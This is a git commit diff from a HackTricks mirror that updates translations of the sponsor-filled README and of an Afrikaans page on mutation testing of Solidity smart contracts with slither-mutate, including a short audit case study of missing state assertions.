mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's
This commit is contained in:
parent
25c361d411
commit
f0215e7b82
@ -31,19 +31,19 @@ export LANG="master" # Leave master for english
|
|||||||
# Run the docker container indicating the path to the hacktricks folder
|
# Run the docker container indicating the path to the hacktricks folder
|
||||||
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
|
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
|
||||||
```
|
```
|
||||||
Jou plaaslike kopie van HackTricks sal binne <5 minute **beskikbaar by [http://localhost:3337](http://localhost:3337)** wees (dit moet die boek bou, wees geduldig).
|
Your local copy of HackTricks will be **available at [http://localhost:3337](http://localhost:3337)** after <5 minutes (it needs to build the book, be patient).
|
||||||
|
|
||||||
## Korporatiewe Borge
|
## Korporatiewe Borgskappe
|
||||||
|
|
||||||
### [STM Cyber](https://www.stmcyber.com)
|
### [STM Cyber](https://www.stmcyber.com)
|
||||||
|
|
||||||
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende kuberveiligheid maatskappy met die slagspreuk **HACK THE UNHACKABLE**. Hulle doen eie navorsing en ontwikkel hul eie hacking tools om **verskeie waardevolle kuberveiligheidsdienste** aan te bied soos pentesting, Red teams en opleiding.
|
[**STM Cyber**](https://www.stmcyber.com) is a great cybersecurity company whose slogan is **HACK THE UNHACKABLE**. They perform their own research and develop their own hacking tools to **offer several valuable cybersecurity services** like pentesting, Red teams and training.
|
||||||
|
|
||||||
You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||||
|
|
||||||
**STM Cyber** ondersteun ook open source kuberveiligheidsprojekte soos HackTricks :)
|
**STM Cyber** also support cybersecurity open source projects like HackTricks :)
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@ -51,7 +51,7 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm
|
|||||||
|
|
||||||
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com) is die mees relevante kuberveiligheidsgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie- en kuberveiligheidsprofessionals in alle dissiplines.
|
[**RootedCON**](https://www.rootedcon.com) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://www.rootedcon.com/
|
https://www.rootedcon.com/
|
||||||
@ -63,9 +63,9 @@ https://www.rootedcon.com/
|
|||||||
|
|
||||||
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Intigriti** is die **Europe's #1** ethical hacking en **bug bounty platform.**
|
**Intigriti** is the **Europe's #1** ethical hacking and **bug bounty platform.**
|
||||||
|
|
||||||
**Bug bounty tip**: **sign up** for **Intigriti**, 'n premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://go.intigriti.com/hacktricks
|
https://go.intigriti.com/hacktricks
|
||||||
@ -78,7 +78,7 @@ https://go.intigriti.com/hacktricks
|
|||||||
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik workflows te bou en te **automate** wat aangedryf word deur die wêreld se **mees gevorderde** community tools.
|
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.
|
||||||
|
|
||||||
Get Access Today:
|
Get Access Today:
|
||||||
|
|
||||||
@ -96,7 +96,7 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to
|
|||||||
|
|
||||||
- **Hacking Insights:** Engage with content that delves into the thrill and challenges of hacking
|
- **Hacking Insights:** Engage with content that delves into the thrill and challenges of hacking
|
||||||
- **Real-Time Hack News:** Keep up-to-date with fast-paced hacking world through real-time news and insights
|
- **Real-Time Hack News:** Keep up-to-date with fast-paced hacking world through real-time news and insights
|
||||||
- **Latest Announcements:** Bly ingelig oor die nuutste bug bounties wat van stapel gestuur word en belangrike platform-opdaterings
|
- **Latest Announcements:** Stay informed with the newest bug bounties launching and crucial platform updates
|
||||||
|
|
||||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||||
|
|
||||||
@ -106,9 +106,9 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to
|
|||||||
|
|
||||||
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Kry 'n hacker se perspektief op jou web apps, netwerk, en cloud**
|
**Get a hacker's perspective on your web apps, network, and cloud**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploitable kwetsbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ custom tools om die aanvaloppervlak te kaart, sekuriteitskwessies te vind wat jou toelaat om privileges te eskaleer, en gebruik geautomatiseerde exploits om noodsaaklike bewyse in te samel, wat jou harde werk in oortuigende verslae omsit.
|
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||||
@ -120,14 +120,14 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
|
|||||||
|
|
||||||
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**SerpApi** bied vinnige en maklike real-time APIs om **toegang tot search engine results** te kry. Hulle scrape search engines, hanteer proxies, los captchas op, en parse alle ryk gestruktureerde data vir jou.
|
**SerpApi** offers fast and easy real-time APIs to **access search engine results**. They scrape search engines, handle proxies, solve captchas, and parse all rich structured data for you.
|
||||||
|
|
||||||
'n Intekening op een van SerpApi se planne sluit toegang in tot meer as 50 verskillende APIs vir die scraping van verskillende search engines, insluitend Google, Bing, Baidu, Yahoo, Yandex, en meer.\
|
A subscription to one of SerpApi’s plans includes access to over 50 different APIs for scraping different search engines, including Google, Bing, Baidu, Yahoo, Yandex, and more.\
|
||||||
Anders as ander verskaffers, **SerpApi scrape nie net organic results nie**. SerpApi response sluit konsekwent alle ads, inline images en videos, knowledge graphs, en ander elemente en kenmerke aanwesig in die search results.
|
Unlike other providers, **SerpApi doesn’t just scrape organic results**. SerpApi responses consistently include all ads, inline images and videos, knowledge graphs, and other elements and features present in the search results.
|
||||||
|
|
||||||
Huidige SerpApi customers sluit in **Apple, Shopify, and GrubHub**.\
|
Current SerpApi customers include **Apple, Shopify, and GrubHub**.\
|
||||||
Vir meer inligting kyk na hul [**blog**](https://serpapi.com/blog/)**,** of probeer 'n voorbeeld in hulle [**playground**](https://serpapi.com/playground)**.**\
|
For more information check out their [**blog**](https://serpapi.com/blog/)**,** or try an example in their [**playground**](https://serpapi.com/playground)**.**\
|
||||||
Jy kan **'n gratis rekening skep** [**here**](https://serpapi.com/users/sign_up)**.**
|
You can **create a free account** [**here**](https://serpapi.com/users/sign_up)**.**
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@ -135,7 +135,7 @@ Jy kan **'n gratis rekening skep** [**here**](https://serpapi.com/users/sign_up)
|
|||||||
|
|
||||||
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Leer die tegnologieë en vaardighede nodig om vulnerability research, penetration testing, en reverse engineering uit te voer om mobiele toepassings en toestelle te beskerm. **Beheers iOS en Android security** deur ons on-demand kursusse en **kry gesertifiseer**:
|
Learn the technologies and skills required to perform vulnerability research, penetration testing, and reverse engineering to protect mobile applications and devices. **Master iOS and Android security** through our on-demand courses and **get certified**:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://academy.8ksec.io/
|
https://academy.8ksec.io/
|
||||||
@ -147,13 +147,13 @@ https://academy.8ksec.io/
|
|||||||
|
|
||||||
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**WebSec**](https://websec.net) is 'n professionele kuberveiligheidsmaatskappy gebaseer in **Amsterdam** wat help om **maatskappye regoor die wêreld** te beskerm teen die nuutste kuberveiligheidsbedreigings deur **offensive-security services** met 'n **moderne** benadering te lewer.
|
[**WebSec**](https://websec.net) is a professional cybersecurity company based in **Amsterdam** which helps **protecting** businesses **all over the world** against the latest cybersecurity threats by providing **offensive-security services** with a **modern** approach.
|
||||||
|
|
||||||
WebSec is 'n internasionale security company met kantore in Amsterdam en Wyoming. Hulle bied **all-in-one security services** wat beteken hulle doen alles; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing en nog veel meer.
|
WebSec is an intenational security company with offices in Amsterdam and Wyoming. They offer **all-in-one security services** which means they do it all; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing and much more.
|
||||||
|
|
||||||
Nog 'n koel ding oor WebSec is dat, anders as die industrie-gemiddelde, WebSec **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle **die beste kwaliteit resultate waarborg**, soos op hulle webtuiste staan: "**If we can't hack it, You don't pay it!**". Vir meer inligting, kyk na hul [**website**](https://websec.net/en/) en [**blog**](https://websec.net/blog/)!
|
Another cool thing about WebSec is that unlike the industry average WebSec is **very confident in their skills**, to such an extent that they **guarantee the best quality results**, it states on their website "**If we can't hack it, You don't pay it!**". For more info take a look at their [**website**](https://websec.net/en/) and [**blog**](https://websec.net/blog/)!
|
||||||
|
|
||||||
Benewens bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackTricks.**
|
In addition to the above WebSec is also a **committed supporter of HackTricks.**
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://www.youtube.com/watch?v=Zq2JycGDCPM
|
https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||||
@ -165,8 +165,8 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
|
|||||||
|
|
||||||
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
|
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) is 'n data breach (leak) search engine. \
|
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) is a data breach (leak) search engine. \
|
||||||
Ons voorsien random string search (like google) oor alle tipes data leaks groot en klein --nie net die groot een nie-- oor data van veelvuldige bronne. \
|
We provide random string search (like google) over all types of data leaks big and small --not only the big ones-- over data from multiple sources. \
|
||||||
People search, AI search, organization search, API (OpenAPI) access, theHarvester integration, all features a pentester needs.\
|
People search, AI search, organization search, API (OpenAPI) access, theHarvester integration, all features a pentester needs.\
|
||||||
**HackTricks continues to be a great learning platform for us all and we're proud to be sponsoring it!**
|
**HackTricks continues to be a great learning platform for us all and we're proud to be sponsoring it!**
|
||||||
|
|
||||||
@ -182,12 +182,15 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
|||||||
|
|
||||||
|
|
||||||
**Built for the field. Built around you.**\
|
**Built for the field. Built around you.**\
|
||||||
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) ontwikkel en lewer effektiewe kuberveiligheid opleiding wat gebou en gelei word deur industry experts. Hul programme gaan verder as teorie om spanne toe te rus met diep begrip en toepaslike vaardighede, deur custom omgewings te gebruik wat werklike wêreld dreigemente weerspieël. Vir persoonlike opleidingsnavrae, kontak ons [**here**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
|
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) develops and delivers effective cybersecurity training built and led by
|
||||||
|
industry experts. Their programs go beyond theory to equip teams with deep
|
||||||
|
understanding and actionable skills, using custom environments that reflect real-world
|
||||||
|
threats. For custom training inquiries, reach out to us [**here**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
|
||||||
|
|
||||||
**Wat hul opleiding onderskei:**
|
**What sets their training apart:**
|
||||||
* Custom-built inhoud en labs
|
* Custom-built content and labs
|
||||||
* Ondersteun deur top-tier tools en platforms
|
* Backed by top-tier tools and platforms
|
||||||
* Ontwerp en aangebied deur praktisyns
|
* Designed and taught by practitioners
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://cyberhelmets.com/courses/?ref=hacktricks
|
https://cyberhelmets.com/courses/?ref=hacktricks
|
||||||
@ -199,19 +202,19 @@ https://cyberhelmets.com/courses/?ref=hacktricks
|
|||||||
|
|
||||||
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
|
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Last Tower Solutions lewer gespesialiseerde kuberveiligheidsdienste vir **Education** en **FinTech**
|
Last Tower Solutions delivers specialized cybersecurity services for **Education** and **FinTech**
|
||||||
instellings, met 'n fokus op **penetration testing, cloud security assessments**, en
|
institutions, with a focus on **penetration testing, cloud security assessments**, and
|
||||||
**compliance readiness** (SOC 2, PCI-DSS, NIST). Ons span sluit **OSCP and CISSP
|
**compliance readiness** (SOC 2, PCI-DSS, NIST). Our team includes **OSCP and CISSP
|
||||||
certified professionals** in, wat diep tegniese kundigheid en industrie-standaard insigte bring na
|
certified professionals**, bringing deep technical expertise and industry-standard insight to
|
||||||
elke betrokkenheid.
|
every engagement.
|
||||||
|
|
||||||
Ons gaan verder as geautomatiseerde skanderings met **handmatige, intelligence-driven testing** aangepas vir
|
We go beyond automated scans with **manual, intelligence-driven testing** tailored to
|
||||||
hoë-ryks omgewings. Van die beveiliging van studenterekords tot die beskerming van finansiële transaksies,
|
high-stakes environments. From securing student records to protecting financial transactions,
|
||||||
ons help organisasies om te verdedig wat die meeste saak maak.
|
we help organizations defend what matters most.
|
||||||
|
|
||||||
_“A quality defense requires knowing the offense, we provide security through understanding.”_
|
_“A quality defense requires knowing the offense, we provide security through understanding.”_
|
||||||
|
|
||||||
Bly ingelig en op datum met die nuutste in kuberveiligheid deur ons [**blog**](https://www.lasttowersolutions.com/blog) te besoek.
|
Stay informed and up to date with the latest in cybersecurity by visiting our [**blog**](https://www.lasttowersolutions.com/blog).
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://www.lasttowersolutions.com/
|
https://www.lasttowersolutions.com/
|
||||||
@ -221,11 +224,11 @@ https://www.lasttowersolutions.com/
|
|||||||
|
|
||||||
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
|
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
|
||||||
|
|
||||||
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
|
<figure><img src="images/k8studio.jpg" alt="k8studio logo"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
K8Studio IDE bemagtig DevOps, DevSecOps, en developers om Kubernetes clusters doeltreffend te bestuur, te monitor, en te beveilig. Benut ons AI-driven insights, gevorderde security framework, en intuïtiewe CloudMaps GUI om jou clusters te visualiseer, hul toestand te verstaan, en met vertroue op te tree.
|
K8Studio IDE empowers DevOps, DevSecOps, and developers to manage, monitor, and secure Kubernetes clusters efficiently. Leverage our AI-driven insights, advanced security framework, and intuitive CloudMaps GUI to visualize your clusters, understand their state, and act with confidence.
|
||||||
|
|
||||||
Boonop is K8Studio **compatible with all major kubernetes distributions** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more).
|
Moreover, K8Studio is **compatible with all major kubernetes distributions** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more).
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://k8studio.io/
|
https://k8studio.io/
|
||||||
@ -236,13 +239,13 @@ https://k8studio.io/
|
|||||||
|
|
||||||
## Lisensie & Vrywaring
|
## Lisensie & Vrywaring
|
||||||
|
|
||||||
Kyk hulle in:
|
Check them in:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
welcome/hacktricks-values-and-faq.md
|
welcome/hacktricks-values-and-faq.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Github Stats
|
## Github Statistieke
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
|
@ -2,11 +2,11 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
Mutasietoetsing "toets jou toetse" deur sistematies klein veranderinge (mutante) in jou Solidity-kode in te voer en jou toets-suite weer te laat loop. As 'n toets faal, word die mutant gedood. As die toetse steeds slaag, oorleef die mutant en openbaar dit 'n blinde kol in jou toets-suite wat lyn-/tak-dekking nie kan opspoor nie.
|
Mutasietoetsing "toets jou toetse" deur sistematies klein veranderinge (mutante) in jou Solidity-kode in te bring en jou toetsuite weer uit te voer. As 'n toets misluk, word die mutant gedood. As die toetse steeds slaag, oorleef die mutant, wat 'n blinde kol in jou toetsuite openbaar wat lyn-/takdekking nie kan opspoor nie.
|
||||||
|
|
||||||
Hoofgedagte: Dekking toon dat kode uitgevoer is; mutasietoetsing toon of gedrag werklik bevestig word.
|
Hoofgedagte: Dekking toon dat kode uitgevoer is; mutasietoetsing wys of gedrag werklik deur toetse geasserseer word.
|
||||||
|
|
||||||
## Hoekom dekking kan mislei
|
## Waarom dekking kan mislei
|
||||||
|
|
||||||
Oorweeg hierdie eenvoudige drempelkontrole:
|
Oorweeg hierdie eenvoudige drempelkontrole:
|
||||||
```solidity
|
```solidity
|
||||||
@ -18,24 +18,24 @@ return false;
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Unit tests wat slegs 'n waarde onder en 'n waarde bo die drempel nagaan, kan 100% lyn-/tak-dekking bereik terwyl hulle versuim om die gelykheidsgrens (==) te bevestig. 'n Refaktor na `deposit >= 2 ether` sou steeds sulke toetse deurgaan en stilweg die protokollogika breek.
|
Eenheidstoetse wat slegs 'n waarde onder en 'n waarde bo die drempel kontroleer, kan 100% lyn-/takbedekking bereik terwyl hulle versuim om die gelykheidsgrens (==) te bevestig. 'n Refaktorering na `deposit >= 2 ether` sou steeds sulke toetse deurstaan en terselfdertyd die protokol-logika stilweg breek.
|
||||||
|
|
||||||
Mutasietoetsing openbaar hierdie gaping deur die voorwaarde te muteer en te verifieer dat jou toetse misluk.
|
Mutation testing openbaar hierdie gaping deur die voorwaarde te muteer en te verifieer dat jou toetse misluk.
|
||||||
|
|
||||||
## Algemene Solidity mutasie-operateurs
|
## Algemene Solidity mutation operators
|
||||||
|
|
||||||
Slither se mutasie-enjin pas baie klein, semantiekveranderende wysigings toe, soos:
|
Slither se mutation engine pas baie klein, semantiek-veranderende wysigings toe, soos:
|
||||||
- Operateurvervanging: `+` ↔ `-`, `*` ↔ `/`, etc.
|
- Operatorvervanging: `+` ↔ `-`, `*` ↔ `/`, etc.
|
||||||
- Toekenningvervanging: `+=` → `=`, `-=` → `=`
|
- Toewysingsvervanging: `+=` → `=`, `-=` → `=`
|
||||||
- Konstante vervanging: nie-nul → `0`, `true` ↔ `false`
|
- Konstantevervanging: non-zero → `0`, `true` ↔ `false`
|
||||||
- Voorwaardelike negasie/vervanging binne `if`/loops
|
- Voorwaardelike negasie/vervanging binne `if`/lusse
|
||||||
- Comment out whole lines (CR: Comment Replacement)
|
- Maak hele lyne kommentaar (CR: Comment Replacement)
|
||||||
- Vervang 'n lyn met `revert()`
|
- Vervang 'n lyn met `revert()`
|
||||||
- Datatipruilings: e.g., `int128` → `int64`
|
- Datatipe-ruilings: bv. `int128` → `int64`
|
||||||
|
|
||||||
Doel: Vernietig 100% van die gegenereerde mutante, of regverdig oorblywende mutante met duidelike motivering.
|
Doel: Vernietig 100% van die gegenereerde mutante, of regverdig oorlewendes met duidelike redenasie.
|
||||||
|
|
||||||
## Uitvoering van mutasietoetsing met slither-mutate
|
## Uitvoer van mutation testing met slither-mutate
|
||||||
|
|
||||||
Vereistes: Slither v0.10.2+.
|
Vereistes: Slither v0.10.2+.
|
||||||
|
|
||||||
@ -44,68 +44,68 @@ Vereistes: Slither v0.10.2+.
|
|||||||
slither-mutate --help
|
slither-mutate --help
|
||||||
slither-mutate --list-mutators
|
slither-mutate --list-mutators
|
||||||
```
|
```
|
||||||
- Foundry voorbeeld (vang resultate en hou 'n volledige logboek):
|
- Foundry-voorbeeld (vang resultate en hou 'n volledige logboek):
|
||||||
```bash
|
```bash
|
||||||
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
|
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
|
||||||
```
|
```
|
||||||
- As jy nie Foundry gebruik nie, vervang `--test-cmd` met hoe jy toetse uitvoer (bv., `npx hardhat test`, `npm test`).
|
- As jy nie Foundry gebruik nie, vervang `--test-cmd` met hoe jy toetse uitvoer (bv., `npx hardhat test`, `npm test`).
|
||||||
|
|
||||||
Artefakte en verslae word standaard in `./mutation_campaign` gestoor. Ongevang (oorlewende) mutants word daarheen gekopieer vir inspeksie.
|
Artefakte en verslae word standaard gestoor in `./mutation_campaign`. Ongevatte (oorlewende) mutants word daarheen gekopieer vir inspeksie.
|
||||||
|
|
||||||
### Verstaan die uitset
|
### Begrip van die uitvoer
|
||||||
|
|
||||||
Verslagreëls lyk soos:
|
Verslagreëls lyk soos:
|
||||||
```text
|
```text
|
||||||
INFO:Slither-Mutate:Mutating contract ContractName
|
INFO:Slither-Mutate:Mutating contract ContractName
|
||||||
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
|
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
|
||||||
```
|
```
|
||||||
- Die etiket in hakies is die mutator-alias (bv. `CR` = Comment Replacement).
|
- Die etiket in hakies is die mutator-alias (bv., `CR` = Comment Replacement).
|
||||||
- `UNCAUGHT` beteken dat toetse deurgegaan het onder die gemuteerde gedrag → ontbrekende assertie.
|
- `UNCAUGHT` beteken dat toetse geslaag het onder die gemuteerde gedrag → ontbrekende assertie.
|
||||||
|
|
||||||
## Verminder uitvoeringstyd: prioritiseer invloedryke mutants
|
## Verminder uitvoeringstyd: prioritiseer impakvolle mutante
|
||||||
|
|
||||||
Mutasie-veldtogte kan ure of dae neem. Wenke om koste te verminder:
|
Mutasieveldtogte kan ure of dae neem. Wenke om koste te verminder:
|
||||||
- Omvang: Begin slegs met kritiese contracts/direktore, brei daarna uit.
|
- Scope: Begin slegs met kritieke kontrakte/direktorieë, en brei dan uit.
|
||||||
- Prioritiseer mutators: As 'n hoë-prioriteits mutant op 'n reël oorleef (bv. hele reël uitgekommenteer), kan jy laer-prioriteits variante vir daardie reël oorslaan.
|
- Prioritiseer mutators: As 'n hoëprioriteits-mutant op 'n lyn oorleef (bv., die hele lyn gekommenteer), kan jy laerprioriteitsweergawes vir daardie lyn oorslaan.
|
||||||
- Paralleliseer toetse as jou runner dit toelaat; cache afhanklikhede en builds.
|
- Paralleliseer toetse as jou runner dit toelaat; kas afhanklikhede en builds.
|
||||||
- Fail-fast: hou op vroeg wanneer 'n verandering duidelik 'n assertie-gaping aandui.
|
- Fail-fast: stop vroeg wanneer 'n verandering duidelik 'n assertiegaping aantoon.
|
||||||
|
|
||||||
## Triëringswerkvloei vir oorlewende mutants
|
## Triage-werkvloei vir oorblywende mutante
|
||||||
|
|
||||||
1) Inspekteer die gemuteerde reël en gedrag.
|
1) Inspekteer die gemuteerde lyn en gedrag.
|
||||||
- Reproduceer plaaslik deur die gemuteerde reël toe te pas en 'n gefokusde toets te hardloop.
|
- Reproduseer lokaal deur die gemuteerde lyn toe te pas en 'n gefokusde toets te laat loop.
|
||||||
|
|
||||||
2) Versterk toetse om toestand te bevestig, nie net teruggegewe waardes nie.
|
2) Versterk toetse om staat te bevestig, nie net return-waardes nie.
|
||||||
- Voeg gelykheid-grenskontroles by (bv. toets drempel `==`).
|
- Voeg gelykheids-grenskontroles by (bv., toets drempel `==`).
|
||||||
- Bevestig post-voorwaardes: balanse, totale toevoer, magtigingseffekte en uitgesaai gebeurtenisse.
|
- Bekragtig post-voorwaardes: saldo's, totale aanbod, magtigingseffekte, en uitgee gebeure.
|
||||||
|
|
||||||
3) Vervang oormatige permissiewe mocks met realistiese gedrag.
|
3) Vervang te permissiewe mocks met realistiese gedrag.
|
||||||
- Verseker dat mocks transfers, foutpade en gebeurtenisuitsendings afdwing wat on-chain plaasvind.
|
- Verseker dat mocks transfers, faalpaaie en event-emissies afdwing wat on-chain voorkom.
|
||||||
|
|
||||||
4) Voeg invariantes by vir fuzz-toetse.
|
4) Voeg invarianties by vir fuzz tests.
|
||||||
- Bv.: behoud van waarde, nie-negatiewe balanse, magtiging-invariantes, monotoonse voorraad waar toepaslik.
|
- Byvoorbeeld: bewaring van waarde, nie-negatiewe saldo's, magtiging-invarianties, monotoniese aanbod waar toepaslik.
|
||||||
|
|
||||||
5) Herhardloop slither-mutate totdat oorlewendes gedood is of uitdruklik geregverdig word.
|
5) Herhaal slither-mutate totdat oorblywende mutante gedood is of uitdruklik geregverdig.
|
||||||
|
|
||||||
## Gevallestudie: blootlegging van ontbrekende toestand-asserties (Arkis protocol)
|
## Gevalstudie: ontbloot ontbrekende staatasserties (Arkis protocol)
|
||||||
|
|
||||||
'n Mutasie-veldtog tydens 'n oudit van die Arkis DeFi protocol het oorlewendes soos die onderstaande na vore gebring:
|
'n mutasieveldtog tydens 'n oudit van die Arkis DeFi protocol het oorblywende mutante na vore gebring soos:
|
||||||
```text
|
```text
|
||||||
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
|
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
|
||||||
```
|
```
|
||||||
Om die toewysing uit te kommentarieer het die toetse nie gebreek nie, wat bewys dat post-state-asserties ontbreek. Ware oorsaak: die kode het ` _cmd.value` deur die gebruiker beheer vertrou in plaas daarvan om werklike token-oordragte te valideer. ’n aanvaller kon verwagte en werklike oordragte desinkroniseer om fondse leeg te maak. Resultaat: risiko van hoë erns vir die protokol se solvensie.
|
Om die toekenning uit te kommentarieer het nie die tests gebreek nie, wat bewys dat post-state assertions ontbreek. Wortel oorsaak: die kode het 'n user-controlled `_cmd.value` vertrou in plaas daarvan om werklike token transfers te valideer. 'n aanvaller kon verwagte vs. werklike transfers desinchroniseer om fondse leeg te trek. Resultaat: hoë risiko wat die protokol se betaalvermoë bedreig.
|
||||||
|
|
||||||
Riglyn: Behandel oorlewendes wat waarde-oordragte, rekeninghouding of toegangsbeheer beïnvloed as hoë-risiko totdat hulle vernietig is.
|
